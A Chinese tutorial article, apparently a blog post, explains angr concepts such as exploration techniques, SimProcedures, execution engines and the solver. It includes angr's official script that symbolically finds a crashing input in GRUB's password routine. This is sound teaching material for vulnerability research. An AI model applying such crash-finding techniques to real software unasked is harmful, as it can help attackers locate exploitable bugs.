BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://github.com/angr/angr-doc/blob/master/docs/pathgroups.md#exploration-techniques" target="_blank">https://github.com/angr/angr-doc/blob/master/docs/pathgroups.md#exploration-techniques</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>探索技术也是angr 进行分析的核心功能，angr内建了很多探索技术，同时也允许分析人员自建探索技术。这主要用来帮助研究者自定义simulation manager的行为。在进行分析的过程中可能会遇到这种情况，对于某个state的某些部分，研究人员不想使用默认的 &#34;step everything at once&#34;策略，这种策略主要是利用了广度优先搜索的思想，但是有时候可能深度优先搜索更具效果，因此angr提供simgr.use_technique(tech)来让研究人员自定义探索行为。tech是一个ExplorationTechnique subclass，内建的探索技术在angr.exploration_techniques中，不过在自动化漏洞挖掘的经验中，很多情况下需要自建探索策略。这里给出一个脚本，是下面例子的一个官方解释，如果第一次接触angr，还不需要理解，只是为了提供一个demo让人更直观的体验这样的功能。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(92, 99, 112);font-style: italic;">#!/usr/bin/env python</span><br/><span style="color: rgb(198, 120, 221);">import</span> angr<br/><span style="color: rgb(198, 120, 221);">import</span> logging<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># This is the important logic that makes this problemt tractable</span><br/><span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">CheckUniqueness</span>(angr.ExplorationTechnique):<br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">__init__</span>(self):<br/>        self.unique_states = <span style="color: rgb(230, 192, 123);">set</span>()<br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">filter</span>(self, simgr, state, filter_func=<span style="color: rgb(86, 182, 194);">None</span>):<br/>        vals = []<br/>        <span style="color: rgb(198, 120, 221);">for</span> reg <span style="color: rgb(198, 120, 221);">in</span> (<span style="color: rgb(152, 195, 121);">&#39;eax&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;ebx&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;ecx&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;edx&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;esi&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;edi&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;ebp&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;esp&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;eip&#39;</span>):<br/>            val = state.registers.load(reg)<br/>            <span style="color: rgb(198, 120, 221);">if</span> val.symbolic:<br/>                vals.append(<span style="color: rgb(152, 195, 121);">&#39;symbolic&#39;</span>)<br/>            <span style="color: rgb(198, 120, 221);">else</span>:<br/>                vals.append(state.solver.<span style="color: rgb(230, 192, 123);">eval</span>(val))<br/>        vals = <span style="color: rgb(230, 192, 123);">tuple</span>(vals)<br/>        <span style="color: rgb(198, 120, 221);">if</span> vals <span style="color: rgb(198, 120, 221);">in</span> self.unique_states:<br/>            <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(152, 195, 121);">&#39;not_unique&#39;</span><br/>        self.unique_states.add(vals)<br/>        <span style="color: rgb(198, 120, 221);">return</span> simgr.<span style="color: rgb(230, 192, 123);">filter</span>(state, filter_func=filter_func)<br/><span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">SearchForNull</span>(angr.ExplorationTechnique):<br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">setup</span>(self, simgr):<br/>        <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(152, 195, 121);">&#39;found&#39;</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(198, 120, 221);">in</span> simgr.stashes:<br/>            simgr.stashes[<span style="color: rgb(152, 195, 121);">&#39;found&#39;</span>] = []<br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">filter</span>(self, simgr, state, filter_func=<span style="color: rgb(86, 182, 194);">None</span>):<br/>        <span style="color: rgb(198, 120, 221);">if</span> state.addr == <span style="color: rgb(209, 154, 102);">0</span>:<br/>            <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(152, 195, 121);">&#39;found&#39;</span><br/>        <span style="color: rgb(198, 120, 221);">return</span> simgr.<span style="color: rgb(230, 192, 123);">filter</span>(state, filter_func=filter_func)<br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">complete</span>(self, simgr):<br/>        <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(230, 192, 123);">len</span>(simgr.found)<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">setup_project</span>():<br/>    project = angr.Project(<span style="color: rgb(152, 195, 121);">&#39;/root/development/angr-doc/examples/grub/crypto.mod&#39;</span>, auto_load_libs=<span style="color: rgb(86, 182, 194);">False</span>)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># use libc functions as stand-ins for grub functions</span><br/>    memset = angr.SIM_PROCEDURES[<span style="color: rgb(152, 195, 121);">&#39;libc&#39;</span>][<span style="color: rgb(152, 195, 121);">&#39;memset&#39;</span>]<br/>    getchar = angr.SIM_PROCEDURES[<span style="color: rgb(152, 195, 121);">&#39;libc&#39;</span>][<span style="color: rgb(152, 195, 121);">&#39;getchar&#39;</span>]<br/>    do_nothing = angr.SIM_PROCEDURES[<span style="color: rgb(152, 195, 121);">&#39;stubs&#39;</span>][<span style="color: rgb(152, 195, 121);">&#39;ReturnUnconstrained&#39;</span>]<br/>    project.hook_symbol(<span style="color: rgb(152, 195, 121);">&#39;grub_memset&#39;</span>, memset())<br/>    project.hook_symbol(<span style="color: rgb(152, 195, 121);">&#39;grub_getkey&#39;</span>, getchar())<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># I don&#39;t know why, but grub_xputs is apparently not the function but a pointer to it?</span><br/>    xputs_pointer_addr = project.loader.find_symbol(<span style="color: rgb(152, 195, 121);">&#39;grub_xputs&#39;</span>).rebased_addr<br/>    xputs_func_addr = project.loader.extern_object.allocate()<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># project.hook(xputs_func_addr, do_nothing())</span><br/>    project.loader.memory.pack_word(xputs_pointer_addr, xputs_func_addr)<br/>    <span style="color: rgb(198, 120, 221);">return</span> project<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">find_bug</span>(project, function, args):<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># set up the most generic state that could enter this function</span><br/>    func_addr = project.loader.find_symbol(function).rebased_addr<br/>    start_state = project.factory.call_state(func_addr, *args)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># start_state = project.factory.entry_state()</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># create a new simulation manager to explore the state space of this function</span><br/>    simgr = project.factory.simulation_manager(start_state)<br/>    simgr.use_technique(SearchForNull())<br/>    simgr.use_technique(CheckUniqueness())<br/>    simgr.run()<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#39;we found a crashing input!&#39;</span>)<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#39;crashing state:&#39;</span>, simgr.found[<span style="color: rgb(209, 154, 102);">0</span>])<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#39;input:&#39;</span>, <span style="color: rgb(230, 192, 123);">repr</span>(simgr.found[<span style="color: rgb(209, 154, 102);">0</span>].posix.dumps(<span style="color: rgb(209, 154, 102);">0</span>)))<br/>    <span style="color: rgb(198, 120, 221);">return</span> simgr.found[<span style="color: rgb(209, 154, 102);">0</span>].posix.dumps(<span style="color: rgb(209, 154, 102);">0</span>)<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">test</span>():<br/>    <span style="color: rgb(198, 120, 221);">assert</span> find_bug(setup_project(), <span style="color: rgb(152, 195, 121);">&#39;grub_password_get&#39;</span>, (angr.PointerWrapper(<span style="color: rgb(152, 195, 121);">b&#39;\0&#39;</span>*<span style="color: rgb(209, 154, 102);">64</span>, buffer=<span style="color: rgb(86, 182, 194);">True</span>), <span style="color: rgb(209, 154, 102);">64</span>)) == <span style="color: rgb(152, 195, 121);">b&#39;\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\r&#39;</span><br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#39;__main__&#39;</span>:<br/>    logging.getLogger(<span style="color: rgb(152, 195, 121);">&#39;angr.sim_manager&#39;</span>).setLevel(<span style="color: rgb(152, 195, 121);">&#39;DEBUG&#39;</span>)<br/>    p = setup_project()<br/>    find_bug(p, <span style="color: rgb(152, 195, 121);">&#39;grub_password_get&#39;</span>, (angr.PointerWrapper(<span style="color: rgb(152, 195, 121);">&#39;\0&#39;</span>*<span style="color: rgb(209, 154, 102);">64</span>, buffer=<span style="color: rgb(86, 182, 194);">True</span>), <span style="color: rgb(209, 154, 102);">64</span>))</code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Programming SimProcedures</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">SimProcedures主要是用来定义程序行为，如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span><span style="color: rgb(198, 120, 221);">from</span> angr <span style="color: rgb(198, 120, 221);">import</span> Project, SimProcedure<br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>project = Project(<span style="color: rgb(152, 195, 121);">&#39;examples/fauxware/fauxware&#39;</span>)<br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span><span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">BugFree</span>(<span style="color: rgb(230, 192, 123);">SimProcedure</span>):<br/><span style="color: rgb(97, 174, 238);">... </span>   <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">run</span>(self, argc, argv):<br/><span style="color: rgb(97, 174, 238);">... </span>       <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#39;Program running with argc=%s and argv=%s&#39;</span> % (argc, argv))<br/><span style="color: rgb(97, 174, 238);">... </span>       <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># this assumes we have symbols for the binary</span><br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>project.hook_symbol(<span style="color: rgb(152, 195, 121);">&#39;main&#39;</span>, BugFree())<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Run a quick execution!</span><br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>simgr = project.factory.simulation_manager()<br/><span style="color: rgb(97, 174, 238);">&gt;&gt;&gt; </span>simgr.run()  <span style="color: rgb(92, 99, 112);font-style: italic;"># step until no more active states</span><br/>Program running <span style="color: rgb(198, 120, 221);">with</span> argc=&lt;SAO &lt;BV64 <span style="color: rgb(209, 154, 102);">0x0</span>&gt;&gt; <span style="color: rgb(198, 120, 221);">and</span> argv=&lt;SAO &lt;BV64 <span style="color: rgb(209, 154, 102);">0x7fffffffffeffa0</span>&gt;&gt;<br/>&lt;SimulationManager <span style="color: rgb(198, 120, 221);">with</span> <span style="color: rgb(209, 154, 102);">1</span> deadended&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该例子展示了对于main函数的hook，导致main函数不再执行，而是执行BugFree，这项功能的一个重要作用就是替换库函数：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e636b219&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkabTx0JNr29iaUG1yXsrK8sNthHmkOibtkOnlmUbTKNxZ5wAiblzwCPMCfWQK0HoSecPNgzic8NNapTNw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Execution Engines</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://docs.angr.io/core-concepts/simulation" target="_blank">https://docs.angr.io/core-concepts/simulation</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>对于二进制分析工作来说，必须要了解的就是执行引擎了，当二进制分析人员指定angr进行step执行等工作的时候，虽然是静态分析，但是也必须存在一些东西真的执行相关动作，执行引擎其实包含很多不同的引擎，一般来说会按照默认情况执行：</p><ul style="font-size: 14px;white-space: normal;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• The failure engine kicks in when the previous step took us to some uncontinuable state</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• The syscall engine kicks in when the previous step ended in a syscall</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• The hook engine kicks in when the current address is hooked</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• The unicorn engine kicks in when the <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">UNICORN</code> state option is enabled and there is no symbolic data in the state</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• The VEX engine kicks in as the final fallback.</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>不过就日常使用，最关键的还是对SimSuccessors，breakpoints这些概念的理解，上面的这些引擎也是在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">project.factory.successors(state, **kwargs)</code>的驱动下进行的，对于引擎的step, run等执行操作，也非常依赖successors，如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">step_state</span>(self, state, successor_func=<span style="color: rgb(86, 182, 194);">None</span>, error_list=<span style="color: rgb(86, 182, 194);">None</span>, **run_args):<br/>        <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>        Don&#39;t use this function manually - it is meant to interface with exploration techniques.<br/>        &#34;&#34;&#34;</span><br/>        error_list = error_list <span style="color: rgb(198, 120, 221);">if</span> error_list <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> self._errored<br/>        <span style="color: rgb(198, 120, 221);">try</span>:<br/>            successors = self.successors(state, successor_func=successor_func, **run_args)<br/>            stashes = {<span style="color: rgb(86, 182, 194);">None</span>: successors.flat_successors,<br/>                       <span style="color: rgb(152, 195, 121);">&#39;unsat&#39;</span>: successors.unsat_successors,<br/>                       <span style="color: rgb(152, 195, 121);">&#39;unconstrained&#39;</span>: successors.unconstrained_successors}<br/>        <span style="color: rgb(198, 120, 221);">except</span> (SimUnsatError, claripy.UnsatError) <span style="color: rgb(198, 120, 221);">as</span> e:<br/>            <span style="color: rgb(198, 120, 221);">if</span> LAZY_SOLVES <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(198, 120, 221);">in</span> state.options:<br/>                error_list.append(ErrorRecord(state, e, sys.exc_info()[<span style="color: rgb(209, 154, 102);">2</span>]))<br/>                stashes = {}<br/>            <span style="color: rgb(198, 120, 221);">else</span>:<br/>                stashes = {<span style="color: rgb(152, 195, 121);">&#39;pruned&#39;</span>: [state]}<br/>            <span style="color: rgb(198, 120, 221);">if</span> self._hierarchy:<br/>                self._hierarchy.unreachable_state(state)<br/>                self._hierarchy.simplify()<br/>        <span style="color: rgb(198, 120, 221);">except</span> claripy.ClaripySolverInterruptError <span style="color: rgb(198, 120, 221);">as</span> e:<br/>            resource_event(state, e)<br/>            stashes = {<span style="color: rgb(152, 195, 121);">&#39;interrupted&#39;</span>: [state]}<br/>        <span style="color: rgb(198, 120, 221);">except</span> <span style="color: rgb(230, 192, 123);">tuple</span>(self._resilience) <span style="color: rgb(198, 120, 221);">as</span> e:<br/>            error_list.append(ErrorRecord(state, e, sys.exc_info()[<span style="color: rgb(209, 154, 102);">2</span>]))<br/>            stashes = {}<br/>        <span style="color: rgb(198, 120, 221);">return</span> stashes</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>上述的这些step操作返回的都是SimSuccessors object，它的核心作用在于给successor states打标签，其实就是对下一步的操作进行标记，然后分类存储。为了理解不同类型的successor states，你必须对符号约束有深刻的理解，官网讲的也挺详细的，我就不赘述了，初学者见到guard这个概念可能会懵，但是简单来说这其实就是用来标记Angr block之间的跳转关系的。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Symbolic memory addressing</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://github.com/angr/angr-doc/blob/master/docs/concretization_strategies.md" target="_blank">https://github.com/angr/angr-doc/blob/master/docs/concretization_strategies.md</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>为了了解符号执行，必须知道Symbolic memory addressing，angr支持Symbolic memory addressing，这意味着内存的offset可以被符号化，同时当进行一个写操作的时候会将符号地址具体化，当然符号化的过程也是可以通过策略配置的。在策略方面也是存在写策略和读策略state.memory.read_strategies，state.memory.write_strategies，这些策略会按顺序调用，直到某个策略可以将符号地址具体化，比较关键的一点在于：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">By setting your own concretization strategies (or through the use of SimInspect <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">address_concretization</code> breakpoints, described above), you can change the way angr resolves symbolic addresses.</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">不过看文档，在进行读操作的时候也存在具体化策略。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Solver Engine</h3><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://docs.angr.io/core-concepts/solver" target="_blank">https://docs.angr.io/core-concepts/solver</a></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;">  </span>Angr的强大不仅在于它作为一个模拟器，更在于它强大的符号执行能力，这一能力的基础就来源于Solver Engine，angr的symbolic variables表示为一个符号，just a name，但是在用符号变量执行算术操作的时候会生成一个操作数，类似编译原理里面的AST，AST可以被转换为SMT solver的约束，经典的SMT solver就是z3。所以为了更好的使用angr，必须深刻了解Solver Engine。</p><pre style="color: rgb(171, 178, 